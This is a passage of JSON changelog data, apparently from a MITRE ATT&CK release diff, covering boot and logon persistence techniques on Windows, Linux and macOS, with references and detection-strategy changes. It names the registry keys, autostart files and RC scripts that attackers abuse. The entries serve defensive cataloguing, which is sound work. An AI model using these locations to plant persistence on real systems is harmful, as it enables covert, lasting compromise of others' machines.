NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon.(Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1547/004", + "external_id": "T1547.004" + }, + { + "source_name": "Cylance Reg Persistence Sept 2013", + "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20160214140250/http://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Module: Module Load\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:53.539000+00:00\", \"old_value\": \"2025-04-15 19:58:37.982000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\\n\\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\\n-\\n-Look for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1038: Execution Prevention" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0011: Module (Module Load)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0404: Detect Winlogon Helper DLL Abuse via Registry and Process Artifacts on Windows" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-10 18:13:12.195000+00:00", + "modified": "2025-10-24 17:49:30.252000+00:00", + "name": "XDG Autostart Entries", + "description": "Adversaries may add or modify XDG Autostart Entries to execute malicious programs or commands when a user\u2019s desktop environment is loaded at login. XDG Autostart entries are available for any XDG-compliant Linux system. XDG Autostart entries use Desktop Entry files (`.desktop`) to configure the user\u2019s desktop environment upon user login. These configuration files determine what applications launch upon user login, define associated applications to open specific file types, and define applications used to open removable media.(Citation: Free Desktop Application Autostart Feb 2006)(Citation: Free Desktop Entry Keys)\n\nAdversaries may abuse this feature to establish persistence by adding a path to a malicious binary or command to the `Exec` directive in the `.desktop` configuration file. When the user\u2019s desktop environment is loaded at user login, the `.desktop` files located in the XDG Autostart directories are automatically executed. System-wide Autostart entries are located in the `/etc/xdg/autostart` directory while the user entries are located in the `~/.config/autostart` directory.\n\nAdversaries may combine this technique with [Masquerading](https://attack.mitre.org/techniques/T1036) to blend malicious Autostart entries with legitimate programs.(Citation: Red Canary Netwire Linux 2022)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1547/013", + "external_id": "T1547.013" + }, + { + "source_name": "Free Desktop Application Autostart Feb 2006", + "description": "Free Desktop. (2006, February 13). Desktop Application Autostart Specification. Retrieved September 12, 2019.", + "url": "https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html" + }, + { + "source_name": "Free Desktop Entry Keys", + "description": "Free Desktop. (2017, December 24). Recognized Desktop Entry Keys. Retrieved November 17, 2024.", + "url": "https://specifications.freedesktop.org/desktop-entry-spec/latest/recognized-keys.html" + }, + { + "source_name": "Red Canary Netwire Linux 2022", + "description": "TONY LAMBERT. (2022, June 7). Trapping the Netwire RAT on Linux. Retrieved September 28, 2023.", + "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Tony Lambert, Red Canary" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Command: Command Execution\", \"Process: Process Creation\", \"File: File Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:30.252000+00:00\", \"old_value\": \"2025-04-15 19:59:14.885000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Malicious XDG autostart entries may be detected by auditing file creation and modification events within the /etc/xdg/autostart and ~/.config/autostart directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME or $XDG_CONFIG_DIRS to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.\\n \\nSuspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Malicious XDG autostart entries may be detected by auditing file creation and modification events within the /etc/xdg/autostart and ~/.config/autostart directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME or $XDG_CONFIG_DIRS to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.\\n- \\n-Suspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1033: Limit Software Installation" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0390: Linux Detection Strategy for T1547.013 - XDG Autostart Entries" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:30:38.910000+00:00", + "modified": "2025-10-24 17:48:20.077000+00:00", + "name": "Boot or Logon Initialization Scripts", + "description": "Adversaries may use scripts automatically executed at boot or logon initialization to establish persistence.(Citation: Mandiant APT29 Eye Spy Email Nov 22)(Citation: Anomali Rocke March 2019) Initialization scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. These scripts can vary based on operating system and whether applied locally or remotely. \n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. \n\nAn adversary may also be able to escalate their privileges since some boot or logon initialization scripts run with higher privileges.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1037", + "external_id": "T1037" + }, + { + "source_name": "Anomali Rocke March 2019", + "description": "Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019.", + "url": "https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang" + }, + { + "source_name": "Mandiant APT29 Eye Spy Email Nov 22", + "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.", + "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS", + "Windows", + "Linux", + "Network Devices", + "ESXi" + ], + "x_mitre_version": "2.4", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Windows Registry: Windows Registry Key Creation\", \"Command: Command Execution\", \"File: File Creation\", \"Process: Process Creation\", \"Active Directory: Active Directory Object Modification\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:20.077000+00:00\", \"old_value\": \"2025-04-15 19:58:02.121000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.\"}}}", + "previous_version": "2.4", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions", + "M1024: Restrict Registry Permissions" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Creation)", + "DS0026: Active Directory (Active Directory Object Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0112: Boot or Logon Initialization Scripts Detection Strategy" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--43ba2b05-cf72-4b6c-8243-03a4aba41ee0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-10 16:01:15.995000+00:00", + "modified": "2025-10-24 17:48:42.963000+00:00", + "name": "Login Hook", + "description": "Adversaries may use a Login Hook to establish persistence executed upon user logon. A login hook is a plist file that points to a specific script to execute with root privileges upon user logon. The plist file is located in the /Library/Preferences/com.apple.loginwindow.plist file and can be modified using the defaults command-line utility. This behavior is the same for logout hooks where a script can be executed upon user logout. All hooks require administrator permissions to modify or create hooks.(Citation: Login Scripts Apple Dev)(Citation: LoginWindowScripts Apple Dev) \n\nAdversaries can add or insert a path to a malicious script in the com.apple.loginwindow.plist file, using the LoginHook or LogoutHook key-value pair. The malicious script is executed upon the next user login. If a login hook already exists, adversaries can add additional commands to an existing login hook. There can be only one login and logout hook on a system at a time.(Citation: S1 macOs Persistence)(Citation: Wardle Persistence Chapter)\n\n**Note:** Login hooks were deprecated in 10.11 version of macOS in favor of [Launch Daemon](https://attack.mitre.org/techniques/T1543/004) and [Launch Agent](https://attack.mitre.org/techniques/T1543/001) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1037/002", + "external_id": "T1037.002" + }, + { + "source_name": "Login Scripts Apple Dev", + "description": "Apple. (2016, September 13). Customizing Login and Logout. Retrieved April 1, 2022.", + "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html" + }, + { + "source_name": "LoginWindowScripts Apple Dev", + "description": "Apple. (n.d.). LoginWindowScripts. Retrieved April 1, 2022.", + "url": "https://developer.apple.com/documentation/devicemanagement/loginwindowscripts" + }, + { + "source_name": "Wardle Persistence Chapter", + "description": "Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved April 13, 2022.", + "url": "https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf" + }, + { + "source_name": "S1 macOs Persistence", + "description": "Stokes, P. (2019, July 17). How Malware Persists on macOS. Retrieved March 27, 2020.", + "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "2.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"File: File Modification\", \"Process: Process Creation\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:42.963000+00:00\", \"old_value\": \"2025-04-15 22:46:43.054000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.\"}}}", + "previous_version": "2.0", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0244: Detection Strategy for Login Hook Persistence on macOS" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-10 03:43:37.211000+00:00", + "modified": "2025-10-24 17:49:33.610000+00:00", + "name": "Logon Script (Windows)", + "description": "Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\\Environment\\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1037/001", + "external_id": "T1037.001" + }, + { + "source_name": "Hexacorn Logon Scripts", + "description": "Hexacorn. (2014, November 14). Beyond good ol\u2019 Run key, Part 18. Retrieved November 15, 2019.", + "url": "http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/" + }, + { + "source_name": "TechNet Logon Scripts", + "description": "Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:33.610000+00:00\", \"old_value\": \"2025-04-15 22:46:59.108000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for changes to Registry values associated with Windows logon scrips, nameley HKCU\\\\Environment\\\\UserInitMprLogonScript.\\n\\nMonitor running process for actions that could be indicative of abnormal programs or executables running upon logon.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor for changes to Registry values associated with Windows logon scrips, nameley HKCU\\\\Environment\\\\UserInitMprLogonScript.\\n-\\n-Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1024: Restrict Registry Permissions" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0024: Windows Registry (Windows Registry Key Creation)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0072: Detect Logon Script Modifications and Execution" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-10 18:01:03.666000+00:00", + "modified": "2025-10-24 17:49:21.921000+00:00", + "name": "Network Logon Script", + "description": "Adversaries may use network logon scripts automatically executed at logon initialization to establish persistence. Network logon scripts can be assigned using Active Directory or Group Policy Objects.(Citation: Petri Logon Script AD) These logon scripts run with the privileges of the user they are assigned to. Depending on the systems within the network, initializing one of these scripts could apply to more than one or potentially all systems. \n \nAdversaries may use these scripts to maintain persistence on a network. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1037/003", + "external_id": "T1037.003" + }, + { + "source_name": "Petri Logon Script AD", + "description": "Daniel Petri. (2009, January 8). Setting up a Logon Script through Active Directory Users and Computers in Windows Server 2008. Retrieved November 15, 2019.", + "url": "https://www.petri.com/setting-up-logon-script-through-active-directory-users-computers-windows-server-2008" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Active Directory: Active Directory Object Modification\", \"File: File Modification\", \"Process: Process Creation\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:21.921000+00:00\", \"old_value\": \"2025-04-15 22:51:42.187000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.\"}}}", + "previous_version": "1.0", + "changelog_mitigations": { + "shared": [ + "M1022: Restrict File and Directory Permissions" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)", + "DS0026: Active Directory (Active Directory Object Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0367: Detect Network Logon Script Abuse via Multi-Event Correlation on Windows" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-15 16:25:22.260000+00:00", + "modified": "2025-10-24 17:49:28.955000+00:00", + "name": "RC Scripts", + "description": "Adversaries may establish persistence by modifying RC scripts, which are executed during a Unix-like system\u2019s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries may establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems.(Citation: intezer-kaiji-malware) As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.(Citation: Juniper Networks ESXi Backdoor 2022)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd.(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1037/004", + "external_id": "T1037.004" + }, + { + "source_name": "Apple Developer Doco Archive Launchd", + "description": "Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021.", + "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html" + }, + { + "source_name": "Startup Items", + "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html" + }, + { + "source_name": "Juniper Networks ESXi Backdoor 2022", + "description": "Asher Langton. (2022, December 9). A Custom Python Backdoor for VMWare ESXi Servers. Retrieved March 26, 2025.", + "url": "https://blogs.juniper.net/en-us/threat-research/a-custom-python-backdoor-for-vmware-esxi-servers" + }, + { + "source_name": "Ubuntu Manpage systemd rc", + "description": "Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021.", + "url": "http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html" + }, + { + "source_name": "IranThreats Kittens Dec 2017", + "description": "Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020.", + "url": "https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "intezer-kaiji-malware", + "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020.", + "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/" + }, + { + "source_name": "Intezer HiddenWasp Map 2019", + "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.", + "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS", + "Linux", + "Network Devices", + "ESXi" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Process: Process Creation\", \"File: File Modification\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:28.955000+00:00\", \"old_value\": \"2025-04-15 19:59:13.566000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may establish persistence by modifying RC scripts, which are executed during a Unix-like system\\u2019s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\\n\\nAdversaries may establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\\n\\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems.(Citation: intezer-kaiji-malware) As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.(Citation: Juniper Networks ESXi Backdoor 2022)\\n\\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of Launchd.(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)\", \"old_value\": \"Adversaries may establish persistence by modifying RC scripts, which are executed during a Unix-like system\\u2019s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\\n\\nAdversaries may establish persistence by adding a malicious binary path or shell commands to rc.local, rc.common, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\\n\\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as ESXi hypervisors, IoT, or embedded systems.(Citation: intezer-kaiji-malware) As ESXi servers store most system files in memory and therefore discard changes on shutdown, leveraging `/etc/rc.local.d/local.sh` is one of the few mechanisms for enabling persistence across reboots.(Citation: Juniper Networks ESXi Backdoor 2022)\\n\\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004).(Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac 